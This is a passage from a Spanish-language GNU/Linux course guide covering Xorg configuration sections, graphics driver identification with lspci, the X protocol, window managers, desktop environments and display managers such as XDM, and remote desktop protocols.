InputDevice # Descripción de los dispositivos periféricosDevice # Descripción de los dispositivos gráficosMonitor # Descripción del MonitorScreen # Configuración de la pantallaServerLayout # Esquema globalDRI # Configuración específica a DRICada sección empieza con la instrucción “Section” seguido del nombre de la sección entre comillas y termina con “EndSection”. Existen comandos específicos a cada sección. Iremos paso a paso, no necesariamente en el orden del archivo, describiendo las secciones y explicando el significado de cada comando, para que modifiques la configuración con algún editor de texto (por ejemplo nano) con los parámetros pertinentes al hardware.Para hacer efectivo cambios a /etc/X11/xorg.conf debes reiniciar el Display Manager con,# /etc/init.d/gdm restart

Sección "Device"Esta sección es la que define y configura el dispositivo de la tarjeta gráfica.Section "Device" Identifier "Configured Video Device" Driver "sis" BusID "PCI:1:0:0"EndSectionLa entrada Identifier es simplemente un nombre para identificar la sección.La entrada Driver especifica el dispositivo. Si esta entrada no existe, XOrg hace una identificación automática. Insertar Driver fuerza a XOrg a usar el dispositivo especificado.La entrada BusID identifica la tarjeta gráfica en el bus PCI, que puedes determinar con lspci (ver más abajo).Para determinar el chipset de la tarjeta gráfica y el dispositivo que la soporta, corre en un terminal el comando lspci y busca las palabras "VGA compatible controller:". La información que sigue normalmente identifica a lo menos la marca de la tarjeta gráfica y posiblemente el dispositivo que necesitas. Por ejemplo,$ lspci01:03.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)En la mayoría de los casos la marca identifica el dispositivo.La siguiente tabla muestra los dispositivos libre de XOrg,

Marca tarjeta dispositivo3Dfx tdfxAlliance ProMotion apmAMD GPG (ATI) R5xx/R6xx radeonhdATI atiATI Rage 128 r128ATI RADEON radeonChips and Technologies chipsCirrus Logic cirrusCyrix MediaGX cyrix3Dlabs & Texas Instruments GLINT/Permedia

glint

Diplomado de GNU/Linux60

Page 61: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Number 9 I128 i128Intel i740 i740Intel intelIntegrated Micro Solutions Twin Turbo 128

imstt

Matrox mgaNeomagic neomagicNational Semiconductors nscNVIDIA nvRendition renditionS3 Savage savageS3 ViRGE s3virgeSilicon Motion siliconmotionSiS sisSiS USB sisusbTrident tridentTseng Labs tsengVoodoo voodooUnichrome (VIA) openchromeXGI sis

Existen otros dispositivos que no son libres, por ejemplo, el dispositivo de nVidia y ATI fglrx.Si este método no resulta, la primera columna del comando lspci arroja los números del bus PCI al cual la tarjeta está conectada, con el formato<bus>:<slot>:<func>.Ejecuta,zxguitar@zxlaptop:~$ lspci -n -s bb:ss.f

Además, identifica con los números del bus PCI el vendor y device ID de la tarjeta. Por ejemplo,zxguitar@zxlaptop:~$ lspci01:03.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)

zxguitar@zxlaptop:~$ lspci -n -s 01:03.001:03.0 0300: 1002:515e (rev 02)El vendor y device ID tiene el formato vvvv:dddd en números hexadecimales, En éste caso el vendor y device ID de la tarjeta es 1002:515e. Con esta información busca en la lista de tarjetas gráficas el dispositivo que necesitas usar. En este caso el dispositivo es radeon.Sección "Monitor"Esta sección define el monitor.Section "Monitor" Identifier "Configured Monitor" Option "DPMS" HorizSync 28-100 VertRefresh 40-100EndSection

Diplomado de GNU/Linux61

Page 62: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

La entrada Identifier es similar a la de la sección "Device". Pueden existir varias secciones "Monitor" en el archivo, cada una con diferente identificación. Esto es conveniente si, por ejemplo, tienes varios monitores, digamos uno en tu casa y otro en tu lugar de trabajo. Así puedes fácilmente definir una configuración para cuando el computador está en casa o en tu trabajo. Cómo esto funciona en la práctica quedará claro más adelante.

La entrada HorizSync especifica la frecuencia de barrido horizontal del monitor en unidades de kHz. Puede ser una frecuencia fija, [31.5], múltiples frecuencias fijas,[31.5,35.2], un rango, [30-64], o rangos, [15-25,30-64]. La entrada VertRefresh especifica los intervalos verticales de refresco en unidades de Hz y los valores tienen el mismo formato de HorizSync. Los valores o rangos suelen encontrarse en la sección especificaciones del manual del monitor. Estos datos son muy importantes y valores erróneos pueden causar un mal funcionamiento y hasta daños al monitor.Sección "Screen"Esta sección es la que va a definir la pantalla, combinando la configuración del dispositivo y monitor.

Section "Screen" Identifier "Default Screen" Device "Configured Video Device" Monitor "Configured Monitor" DefaultDepth 24 Subsection "Display" Depth 1 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 4 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 8 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 15 Modes "1024x768" "800x600" "640x480" EndSubsection Subsection "Display" Depth 16 Modes "1024x768" "800x600" EndSubsection Subsection "Display" Depth 24 Modes "1024x768" EndSubsectionEndSection

Nota que las entradas Device y Monitor tienen el mismo valor que la entrada Identifier de las secciones "Device" y "Monitor". De esta manera se entrelazan las configuraciones

Diplomado de GNU/Linux62

Page 63: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

de las diferentes secciones.

La entrada DefaultDepth especifica la profundidad de color por omisión, en este ejemplo, 24 bits. Pueden haber varias subsecciones "Display". La entrada Depthespecifica la profundidad de color de la subsección. Valores posibles son 8 (256 colores), 16 (64K colores) y 24 bits. Así, la entrada DefaultDepth va a especificar la subsección "Display" por omisión.

La entrada Modes especifica las resoluciones. Puede especificarse una resolución ["640x480"] o un listado de ellas ["1600x1200" "1680x1050" "1280x1024" "1440x900" "1280x960" "1152x864" "1024x768" "800x600" "640x480"]. Normalmente se usa la primera en la lista, si está soportada, si no, la siguiente, y así.

En general, mientras mayor la profundidad de color, menor la resolución máxima posible. Disminuye la profundidad de color si para cierta resolución soportada la imagen de la pantalla es mala, o mantiene la profundidad disminuyendo la resolución.

Sección "InputDevice"Esta es la sección que configura las periferias como el teclado, ratón, mousepad, touchscreen, etc. Los más comunes son el teclado y el ratón, obviamente, cada una por separado.

Configuración del teclado:

Section "InputDevice" Identifier "Generic Keyboard" Driver "kbd" Option "CoreKeyboard" Option "XkbRules" "xorg" Option "XkbModel" "pc105" Option "XkbLayout" "latam"EndSectionTodos los teclados tienen un dispositivo en común llamado kbd. La entrada Option "CoreKeyboard" indica que el teclado definido por la sección es el teclado principal. La entrada Option "XkbModel" especifica el tipo de teclado. Los valores más comunes son "pc101", "pc102", "pc104", "pc105" o "microsoft" para el teclado Microsoft Natural. La entrada Option "XkbLayout" define el mapa del teclado; latam para teclado latinoamericano; "es" para un teclado español, "us" para un teclado inglés norteamericano.Configuración del ratón:Section "InputDevice" Identifier "Configured Mouse" Driver "mouse" Option "CorePointer" Option "Device" "/dev/input/mice" Option "Protocol" "ImPS/2" Option "Emulate3Buttons" "true" Option "Buttons" "5" Option "ZAxisMapping" "4 5"EndSectionEl dispositivo común mouse soporta cuatro tipos de ratones: serial, Bus, PS/2 y USB. En el primer ejemplo se configura un ratón USB IntelliMouse (con rueda).

Diplomado de GNU/Linux63

Page 64: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

La entrada Option "CorePointer" indica que el ratón definido por la sección es el ratón principal.La entrada Option "Device" especifica el dispositivo de la unidad del ratón. Ejemplos son /dev/ttyS0 (serial), /dev/psaux (PS/2) y /dev/input/mice (USB).La entrada Option "Protocol" define el tipo de ratón. Otros protocolos son:"Auto""MouseMan""Mousesystems""IntelliMouse""ExplorerPS/2""ThinkingMouse""ThinkingMousePS/2""NetScrollPS/2""NetMousePS/2""GlidePoint""GlidePointPS/2""MouseManPlusPS/2"

Los ratones seriales antiguos de dos o tres botones están normalmente soportados por el protocolo "Microsoft" o "MouseMan". Los ratones seriales con rueda los soporta el protocolo "IntelliMouse" y los PS/2 "ImPS/2". El protocolo "Auto" a veces ayuda si es que el hardware es capaz de detectar automáticamente el ratón.La entrada Option "Emulate3Buttons" emula al botón del medio oprimiendo simultáneamente los botones izquierdo y derecho. Puede usarse también en ratones con tres botones.Sección "ServerLayout"Esta sección es la que junta la pantalla con la unidades periféricas.Section "ServerLayout" Identifier "Default Layout" Screen "Default Screen" InputDevice "Generic Keyboard" InputDevice "Configured Mouse"EndSectionNota en particular cómo ésta sección combina todo mediante las identificaciones de cada sección definidas por Identifier.Sección "DRI"Algunas tarjetas modernas incorporan Direct Rendering Infrastructure (DRI). Para usarlo debes cargar los módulos "glx" y "dri" en la sección "Modules".La sección DRI por omisión es,Section "DRI" Mode 0666EndSectionAlgunas tarjetas que no soportan DRI pueden colgar X.

1.3 Protocolo X La comunicación entre el cliente X y el servidor se realiza por medio de un protocolo conocido como Xprotocol, que consiste en una serie de bytes interpretados como comandos básicos para generar ventanas, posicionarlas, o controlar eventos. Los clientes X acceden al Xprotocol mediante el uso de una biblioteca llamada Xlib, que evita al programador de clientes X tener que lidiar con el código binario del Xprotocol. Sin embargo, los aspectos de decoración de ventana y manejos de ventanas no están definidos en esta biblioteca.

Diplomado de GNU/Linux64

Page 65: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

El Protocolo base de X Window System es la base del protocolo de X Window System, cuando es un NetWorker del sistema de windows por un bitmap de presentaciones usados para construir interfaces gráficas de usuarios en Unix, Unix-Like y otros sistemas operativos. X Window System está basado en un modelo de cliente-Server: un solo Server controla el hardware de entrada-salida, como el monitor, el teclado, y el ratón; todos los programas de la aplicación actúan como un sólo cliente, interactuando con el usuario y con los otros mediante vía Server. Esta interacción es regulada por el protocolo del centro de X Window System.4 Otros protocolos relacionados al X Window System existen, ambos construidos a la cabeza del protocolo del centro de X Window System o separados. En el protocolo base de X Window System, sólo cuatro clases de paquetes son enviadas, asíncronamente, sobre la red: peticiones, respuestas, los acontecimientos, y los errores. Las “peticiones” son enviadas por un cliente al server para preguntar si puede mejorar alguna aplicación (por ejemplo crear una nueva ventana) y además son devueltos a la persona que los envió para que reciba los datos (Repuestas). Las “respuestas” son enviadas por un cliente para confirmar algún dato. Los “eventos” son enviados por un usuario para notificar a otros de que hay alguna junta de interés o trabajo. Los “errores” son enviados al usuario para notificar que ha ocurrido un error durante el proceso de peticiones. En las peticiones pueden generarse respuestas, eventos y errores; u otros, el protocolo manda una orden específica para que el usuario no mande la petición por otra red. Algunas extensiones a el protocolo core existente, cada una con sus propias peticiones, respuestas, eventos y errores. X se originó en el Instituto Tecnológico de Massachusetts en 1984 (su liberación X11 actual apareció en septiembre 1987). Fue diseñado por Bob Scheifer y Jim Gettys, pusieron como principio primordial del proyecto “Crearemos un mecanismo, no una política”. Como resultado, el protocolo core no especifica la interacción entre clientes y entre un cliente y el usuario. Estas interacciones están sujetas por especificaciones separadas,5 como el ICCCM y la freedesktop.org especificaciones. Son típicamente automáticos, hasta usando un dado Widget toolkit.

La comunicación entre el servidor y los clientes se hace mediante el intercambio de paquetes sobre un canal. La conexión se establece por el cliente (la forma en que el cliente se inicia no se ha especificado en el protocolo). El cliente también envía el primer paquete, que contiene el orden del byte a ser utilizado y la información sobre la versión del protocolo y el tipo de autenticación que el cliente espera que el servidor usará. La respuesta del servidor mediante el envío de un paquete de vuelta indica la aceptación o el rechazo de la conexión, o con una solicitud de una autenticación adicional. Si la conexión es aceptada, el paquete de aceptación contiene los datos que el cliente debe usar en la interacción posterior con el servidor. Después de que se establezca la conexión, cuatro tipos de paquetes son intercambiados entre el cliente y el servidor sobre el canal de comunicación: Petición: El cliente pide información al servidor o solicita que éste realice una acción. Respuesta: El servidor responde a una petición. No todas las peticiones generan respuestas. Evento: El servidor informa al cliente de un acontecimiento, tal como la entrada del teclado o del ratón, que una ventana está siendo movida, redimensionada, expuesta, etc. Error: El servidor envía un paquete de error si una petición es inválida. Puesto que las respuestas están en cola, los paquetes de error generados por una petición pueden no enviarse inmediatamente.

Diplomado de GNU/Linux65

Page 66: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Los paquetes de la petición y de la respuesta tienen una longitud diversa, mientras que los paquetes de eventos y de error tienen una longitud fija de 32 bytes. Los paquetes de petición son numerados secuencialmente por el servidor tan pronto como los recibe: la primera petición de un cliente se numera 1, la segunda 2, etc. Los 16 bits menos significativos del número secuencial de una petición se incluyen en los paquetes de la respuesta y del error, si los hay, generados por la petición. También son incluidos en los paquetes de eventos, para indicar el número secuencial de la petición que el servidor está actualmente procesando o acaba de terminar de procesar.

VentanasLo que es usualmente llamado "ventana" en la mayoría de las interfaces gráficas de usuarios, en el X Window System se llama "ventana de nivel superior" (top-level window). El término ventana también es usado para denotar las ventanas que descansan dentro de otra ventana, es decir, subventanas de una ventana padre. Los elementos gráficos tales como los botones, menús, iconos, etc. pueden ser creados usando subventanas. Un cliente puede solicitar la creación de una ventana. Más precisamente, puede solicitar la creación de una subventana para una ventana existente. Como resultado, las ventanas creadas por los clientes se arreglan en forma de un árbol (una jerarquía). La raíz de este árbol es la ventana raíz, que es una ventana especial creada automáticamente por el servidor en el arranque. Todas las otras ventanas son directa o indirectamente subventanas de la ventana raíz. Las ventanas de nivel superior son las subventanas directas de la ventana raíz. Visiblemente, la ventana raíz es tan grande como la pantalla, y descansa detrás de el resto de las ventanas. Sin embargo la ventana raíz puede ser más grande que la pantalla, en este caso el usuario puede desplazarse alrededor del área visible. No se garantiza que el contenido de una ventana siempre sea preservado en el tiempo. Particularmente, el contenido de la ventana puede ser destruido cuando la ventana es movida, redimensionada, cubierta por otras ventanas, y en general, hecha no visible total o parcialmente. En particular, el contenido es perdido si el servidor X no está manteniendo un almacenamiento de respaldo del contenido de la ventana. El cliente puede solicitar memoria de respaldo para que una ventana sea mantenida, pero no hay obligación para que el servidor lo haga. Por lo tanto, los clientes no pueden asumir que el almacenamiento de respaldo sea mantenido. Si una parte visible de una ventana tiene un contenido sin especificar, un evento es enviado para notificar al cliente que el contenido de la ventana tiene que ser dibujado otra vez. Cada ventana tiene un conjunto asociado de atributos, tales como la geometría de la ventana (tamaño y posición), la imagen de fondo, si la memoria de respaldo para ella se ha pedido o no, etc. El protocolo incluye las peticiones necesarias para que un cliente pueda inspeccionar y cambiar los atributos de una ventana. Las ventanas pueden ser de InputOutput (entrada-salida) o de InputOnly (solo-entrada). Las ventanas que pueden ser mostradas en la pantalla y son usadas para dibujar contenido son de la primera clase. La segunda clase de ventanas nunca son mostradas en la pantalla; son usadas solo para recibir la entrada.

El marco decorativo y la barra de título (posiblemente incluyendo botones) que son usualmente vistos alrededor de las ventanas, son creados por el manejador de ventanas, no por el cliente que crea la ventana. El manejador de ventanas también maneja la entrada relacionada con estos elementos, tales como redimensionar la ventana cuando el usuario hace click y arrastra el marco de ventana. Los clientes usualmente operan en la ventana que ellos crearon sin hacer caso de los cambios operados por el manejador de

Diplomado de GNU/Linux66

Page 67: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

ventanas. Un cambio que tiene que tomar en cuenta el Re-parenting window manager, que casi todos los manejadores de ventanas modernos son, es cambiar la ventana de nivel superior a una ventana que no sea la raíz. Desde el punto de vista del protocolo base, el manejador de ventanas es un cliente, no diferente de otras aplicaciones. Los datos acerca de una ventana pueden ser obtenidos corriendo el programa xwininfo. Pasándole el argumento de línea de comando -tree, este programa muestra el árbol de subventanas de una ventana, junto con sus identificadores y datos de geometría.

1.4 Administradores de Ventana Un gestor de ventanas es un Programa informático que controla la ubicación y apariencia de las ventanas bajo un sistema de ventanas en una interfaz gráfica de usuario. Las acciones asociadas al gestor de ventanas suelen ser, abrir, cerrar, minimizar, maximizar, mover, escalar y mantener un listado de las ventanas abiertas. Es también muy común que el gestor de ventanas integre elementos como: el decorador de ventanas, un panel, un visor de escritorios virtuales, iconos y un tapiz. Las plataformas Windows y Mac OS X ofrecen un gestor de ventanas estandarizado por sus vendedores e integrado en el propio sistema operativo. En cambio el sistema gráfico X Window, popular en el ámbito de sistemas Unix y similares, como GNU/Linux, permite al usuario escoger entre varios gestores. Los gestores de ventanas difieren entre sí de muchas maneras, incluyendo apariencia, consumo de memoria, opciones de personalización, escritorios múltiples o virtuales y similitud con ciertos entornos de escritorio ya existentes, entre otras.

En sistemas que usan el X Window System, hay una clara distinción entre el gestor de ventanas y el sistema de ventanas. Estrictamente, un gestor de ventanas para X Windows, no interactúa de forma directa con el hardware de vídeo, ratón o teclado, que son responsabilidad del servidor X.

Gestores de ventanas para X Window AfterStep, basado en FVWM y de apariencia similar a NeXTSTEP. AmiWM (Amiga Window Manager). Blackbox. Enlightenment (también llamado 'E'), basado originalmente en fvwm2. Fluxbox, derivado de la versión 0.61.1 de Blackbox. Metacity, el gestor de ventanas ligero de algunas versiones de GNOME 2. Kwin, gestor de ventanas de KDE

1.5 Entornos Gráficos (Desktop Manager o Destop Enviroment)

Un entorno de escritorio es un conjunto de software para ofrecer al usuario de una computadora una interacción amigable y cómoda. El entorno de escritorio es una solución completa de interfaz gráfica de usuario ofrece iconos, barras de herramientas, e integración entre aplicaciones con habilidades como, arrastrar y soltar.En general cada entorno de escritorio se distingue por su aspecto y comportamiento particulares, aunque algunos tienden a imitar características de escritorios ya existentes. El primer entorno moderno de escritorio que se comercializó fue desarrollado por Xerox en los años 80. Actualmente el entorno más conocido es el ofrecido por la familia Windows aunque existen otros como los de Macintosh (Classic y Cocoa) y de código abierto (o software libre) como GNOME, KDE, CDE, Xfce o LXDE.

Un entorno de escritorio (en inglés, Desktop Environment) es un conjunto de software

Diplomado de GNU/Linux67

Page 68: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

para ofrecer al usuario de una computadora una interacción amigable y cómoda.El software es una solución completa de interfaz gráfica de usuario o GUI, ofrece iconos, barras de herramientas, programas e integración entre aplicaciones con habilidades como, arrastrar y soltar (drag&drop).En general cada entorno de escritorio se distingue por su aspecto y comportamiento particulares, aunque algunos tienden a imitar características de escritorios ya existentes.

KDE

Es un entorno de escritorio contemporáneo para estaciones de trabajo Unix. KDE llena la necesidad de un escritorio amigable para estaciones de trabajo Unix, similar a los escritorios de Mac OS X o Windows».Las aplicaciones KDE están traducidas a aproximadamente 75 idiomas y están construidas con los principios de facilidad de uso y de accesibilidad moderna en mente. Las aplicaciones de KDE 4 funcionan de forma completamente nativa en GNU/Linux, BSD, Solaris, Windows y Mac OS X.La «K», originariamente, representaba la palabra «Kool», pero su significado fue abandonado más tarde.La mascota del proyecto es un pequeño dragón llamado Konqi.

GNOME

Es el ambiente de escritorio del GNU. GNOME significa GNU Network Object Model Environment. Los programas de GNOME son escritos en sus mayorías en C, pero existen bindings disponibles en varios otros lenguajes, incluyendo C++, Guile, Perl, y Python. Como el KDE, CHNOME pone gran énfasis en el ambiente de programación, haciéndolo así más fácil crear aplicaciones que conformen.El objetivo principal de GNOME es proveer un ambiente completo, orientado a sesión, para las aplicaciones cliente para los sistemas cliente/servidor de Unix basados en CORBA una especificación para el modelo de objetos distribuidos parecido al Distributed Component Object Model (DCOM). Gnome se propone extender y mejorar este modelo cliente/servidor basado SOO en aplicaciones y protocolos OpenSource y no en propietarios.

Xlib:Xlib es un biblioteca de unas 300 funciones escritas en C que generan protocolo X, que facilitan la programación básica, las funciones Xlib son el punto de partida para aprender a manejar X Window y aunque sea imprescindible dominarlas. Para programar a más alto nivel nos harán falta otras herramientas.

Toolkits:Son herramientas de más alto nivel ya que nos ayudaran a crear bloques de pantalla llamados widgets, como por ejemplo menús, barras de desplazamiento, botones etc. La ventaja de esta herramienta es que da a la aplicación una apariencia estándar fácil de ver y de entender, con lo que se gana en facilidad de uso que es lo que se pretende desde el principio al usar el sistema X window.

El toolkit usado comercialmente en los comienzos de X era Motif. Si bien fue desarrollado por una institución llamada Open Software Foundation, era un producto comercial. Se supone que la OSF lo desarrolló para contribuir al desarrollo de X y de los estándares abiertos, pero lo arrastró a la obsolescencia al cobrar por su

Diplomado de GNU/Linux68

Page 69: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

distribución mientras crecía la popularidad de Linux, para el cuál no había que pagar nada.Todo esto dejo de ser un problema principal para Linux desde la llegada de GTK+.

GTK+ Es un toolkit creado originalmente para ser usado en el programa de manipulación de gráficos GIMP, pero se convirtió en EL toolkit para aplicaciones para Linux. Sobre éste se construyó el entorno de escritorio Gnome.

QTQt es una biblioteca multiplataforma para desarrollar interfaces gráficas de usuario. Fue creada por la compañía noruega Trolltech. Qt es utilizada en KDE, un entorno de escritorio. Utiliza el lenguaje de programación C++ de forma nativa.Programadores reportan que es mucho más fácil emplear métodos del desarrollo de objeto en programas que se construyen usando Qt que usando librerías tradicionales como lo es el Motif. Las cuales son complicadas por las limitaciones de los lenguajes procedimental como lo es el lenguaje procedural C. Los componentes desarrollados con Qt tienden a ser reusables debido a la naturaleza modular de la librería.

1.6 Display Manager En el X Window System, un X Display Manager (XDM), gestor de pantalla X, o gestor de pantalla X, es una parte opcional del sistema X Window que permite comenzar una sesión sobre un servidor X desde la misma u otra computadora. Un gestor de pantalla presenta al usuario con una pantalla de autenticación (login) que solicita el nombre de usuario y su contraseña. Una sesión comienza cuando el usuario entra con éxito una combinación válida de nombre de usuario y contraseña. Cuando el gestor de pantalla corre en la computadora del usuario, inicia el servidor X antes de presentar al usuario la pantalla de login (autenticación), opcionalmente repitiendo esto cuando el usuario cierra la sesión (logs out). En esta condición, el gestor de pantalla realiza en el X Window System la funcionalidad del init, getty y autentifica al usuario en el terminal en modo de caracteres. Cuando el gestor de pantalla corre en una computadora remota, actúa como un servidor de telnet, solicitando el nombre de usuario y la contraseña y comenzando una sesión remota. Piense en XDM como proveedor de la misma funcionalidad que la utilidad getty(8). Esto quiere decir que se encarga de los ingresos del sistema en la pantalla a la que está conectado y arranca el gestor de sesiones para el usuario (normalmente un gestor de ventanas X). XDM entonces espera a que este programa termine, señalando que el usuario ha terminado y que se debería desconectar de la pantalla. En este punto XDM puede mostrar las pantallas de entrada al sistema y de selección de pantalla para que el siguiente usuario intente acceder al sistema. Esto es útil para diferentes situaciones tales como "Terminales X" con escritorios mínimos y grandes servidores de red (LTSP, cliente liviano). Como X Window System es independiente del protocolo y de la red hay muchas posibles configuraciones para ejecutar clientes y servidores X en diferentes equipos conectados a una red. XDM da una interfaz gráfica para elegir a qué pantalla se quiere conectar y solicitar la información de autenticación, como el nombre de usuario y le contraseña. También es útil para múltiples usuarios trabajando con un mismo computador (configuración multiseat), en donde cada usuario tiene su propio pantalla, teclado y ratón, y comparten los recursos del computador, como el CPU, la tarjeta madre, la memoria RAM, el disco duro, etc., abaratando significativamente los costos.

Diplomado de GNU/Linux69

Page 70: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

El X11 Release 3 introdujo los gestores de pantalla de X Window (XDM) en octubre de 1988, dirigido a soportar los equipos de terminales X que por entonces apenas comenzaban a entrar en el mercado. Esta versión sufrió de varios problemas, notablemente cuando los usuarios apagaban y encendían los terminales X. En el X11R3, el XDM sólo sabía sobre un terminal X por figurar en el archivo Xservers, pero XDM sólo consultaba este archivo cuando se iniciaba. Así, cada vez que un usuario encendía y apagaba un terminal, el administrador de sistema tenía que enviar una señal SIGHUP a XDM para que releyese el archivo Xservers. La introducción del X11R4 en diciembre de 1989 para corregir problemas en la implementación del X11R3L trajo consigo el protocolo XDMCP. Con XDMCP, el servidor X debe activamente solicitar del anfitrión una conexión de gestor de pantalla. Por lo tanto, para un servidor X usando XDMCP no hace falta más que una entrada en Xservers.

Gestión de pantalla local y remota Un gestor de pantalla puede correr en la misma computadora donde el usuario está sentado o en otro computador remotamente. En el primer caso, el gestor de pantalla inicia uno o más servidores X, exhibiendo la pantalla de login al principio y (opcionalmente) cada vez que el usuario logs out (cierra sesión). En el segundo caso, el gestor de pantalla trabaja según el protocolo XDMCP. El protocolo XDMCP ordena que el servidor X se inicie autónomamente y se conecte con el gestor de pantalla. En el paradigma del X Window System, el servidor corre en la computadora que proporciona los dispositivos de exhibición (pantalla) y de entrada (teclado y ratón). Un servidor se puede conectar, usando el protocolo XDMCP, a un gestor de pantalla corriendo en otra computadora, solicitando a éste que comience la sesión. En este caso, el servidor X actúa como cliente gráfico de telnet mientras que el gestor de pantalla actúa como un servidor del telnet: los usuarios inician programas de la computadora que corre el gestor de pantalla, mientras que su entrada y salida ocurren en la computadora donde el servidor (y el usuario) se sienta. Un administrador puede configurar un servidor X corriendo en el computador o el terminal de usuario usado, o para conectarse con un gestor específico de pantalla, o para mostrar una lista de convenientes anfitriones (hosts) corriendo potenciales gestores de pantalla X. Un programa seleccionador de XDMCP (XDMCP Chooser) permite al usuario seleccionar un anfitrión entre los que el terminal puede conectarse: una lista predefinida de anfitriones y de sus respectivas direcciones de red; una lista de anfitriones (en el subnet local del TCP/IP) que el servidor XDMCP a su vez obtiene por un broadcast de la red.El servidor XDMCP a menudo se presentará en esta lista. Cuando el usuario selecciona un anfitrión de la lista, el servidor X corriendo en la máquina local se conectará con el gestor de pantalla X de la computadora remota seleccionada.

Uso de XDM El daemon XDM se encuentra en /usr/X11R6/bin/xdm. Este programa se puede arrancar en cualquier momento como root y empezará a gestionar la pantalla X en la máquina local. Si se quiere que XDM arranque cada vez que la máquina se encienda puede hacerlo añadiendo una entrada a /etc/ttys. Hay una línea en el fichero /etc/ttys por defecto para arrancar el daemon XDM en una terminal virtual: ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm off secure Por defecto esta entrada esta deshabilitada; para habilitarla cambie el campo 5 de off a on y reinicie init(8). El primer campo es el nombre de la terminal que este programa gestionará: ttyv8. Esto significa que XDM empezará a ejecutarse en la terminal virtual

Diplomado de GNU/Linux70

Page 71: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

número 9.

Alternativas a XDM Hay algunas alternativas al programa por defecto XDM. Una de ellas, kdm, (que se incluye con KDE), que ofrece muchas ventajas visuales y funcionalidad para permitir a los usuarios elegir su gestor de ventanas en el momento del acceso al sistema y gdm, el gestor de pantallas basado en GNOME con su respectiva organización.

Algunos otros son: Multiseat Display Manager, el gestor de pantallas Multiseat dtlogin (enviado con el CDE) WINGs Display Manager (usando las WINGs widget-set usado en Window Maker) Entrance (emplea la arquitectura usada en Enlightenment v.17) SLiM, un gestor de login independiente. xlogin login de X Window con XDMCP server separado con el servidor separado de XDMCP Enter liviano gestor de login gráfico Orthos Otra solución liviana con temas muy configurables

El archivo de configuración para el gdm es /etc/gdm/custom.conf

1.7 Escritorio Remoto

Un escritorio remoto es una tecnología que permite a un usuario trabajar en una computadora a través de su escritorio gráfico desde otro terminal ubicado en otro lugar.

El primer entorno operativo de escritorio remoto es X-Window, originalmente desarrollado por el Massachusetts Institute of Technology (MIT) con el nombre de proyecto Athena en 1984. El objetivo inicial era lograr la compatibilidad en materia de terminales gráficos de los diversos fabricantes. Este objetivo resultó ampliamente logrado con su aceptación por parte de dichos fabricantes.

La tecnología de escritorio remoto permite la centralización de aquellas aplicaciones que generalmente se ejecutan en entorno de usuario (por ejemplo, procesador de textos o navegador). De esta manera, dicho entorno de usuario se transforma en meros terminales de entrada/salida. Los eventos de pulsación de teclas y movimientos de ratón se transmiten a un servidor central donde la aplicación los procesa como si se tratase de eventos locales. La imagen en pantalla de dicha aplicación es retornada al terminal cliente cada cierto tiempo.

Elementos básicos Protocolo de comunicaciones El elemento característico en cualquier implementación de escritorio remoto es su protocolo de comunicaciones, que varía dependiendo del programa que se use:

• Independent Computing Architecture (ICA), utilizado por MetaFrame.• Remote Desktop Protocol (RDP), utilizado por Terminal Services.• Adaptive Internet Protocol (AIP), utilizado por Secure Global Desktop.• Virtual Network Computing, (VNC), utilizado por el producto del mismo nombre.• X11, utilizado por X-Window.

Diplomado de GNU/Linux71

Page 72: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

• XDMCP

Comunicación Para el desarrollo correcto del escritorio remoto, el protocolo debe de cumplir una serie de requisitos:

• Latencia: el retardo de las comunicaciones es más importante que el ancho de banda.

• Balanceo de funcionalidad entre cliente y servidor.• Representación gráfica: Indica el tipo de visualización del escritorio remoto.

Existen cuatro posibilidades: gráficos de alto nivel, gráficos de bajo nivel, primitivas de dibujo en 2D y píxels en bruto.

• Compresión: de los datos relativos a las actualizaciones de la pantalla.• Sincronización.

Programas Hoy por hoy, la tecnología de escritorio remoto ha alcanzado su madurez, existiendo un conjunto reducido de productos, tanto comerciales como no comerciales:

• MetaFrame, de la compañía Citrix.• Terminal Services, de Microsoft. Hoy parte integral de sus sistemas operativos.• AppliDis, de la compañía Systancia.• Sun Ray, de Sun Microsystems.• VNC. La implementación original de este escritorio remoto tuvo lugar en los

laboratorios de Olivetti en Cambridge. Posteriormente fue adquirido por AT&T alcanzando el grado de desarrollo conocido actualmente. Más recientemente, el mantenimiento de VNC ha pasado a la compañía RealVNC, convirtiéndose en software de código abierto de carácter gratuito.

• X-Window.• Secure Global Desktop, de la compañía Tarantella (anteriormente parte integral de

SCO).• 2X Application Server de la compañía 2X.• GoGlobal de la compañía Graphon.• Xnest• vino• tsclient• remmina

Modelo Cliente-servidor

Esta arquitectura consiste básicamente en un cliente que realiza peticiones a otro programa (el servidor) que le da respuesta. Aunque esta idea se puede aplicar a programas que se ejecutan sobre una sola computadora es más ventajosa en un sistema operativo multiusuario distribuido a través de una red de computadoras.En esta arquitectura la capacidad de proceso está repartida entre los clientes y los servidores, aunque son más importantes las ventajas de tipo organizativo debidas a la centralización de la gestión de la información y la separación de responsabilidades, lo

Diplomado de GNU/Linux72

Page 73: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

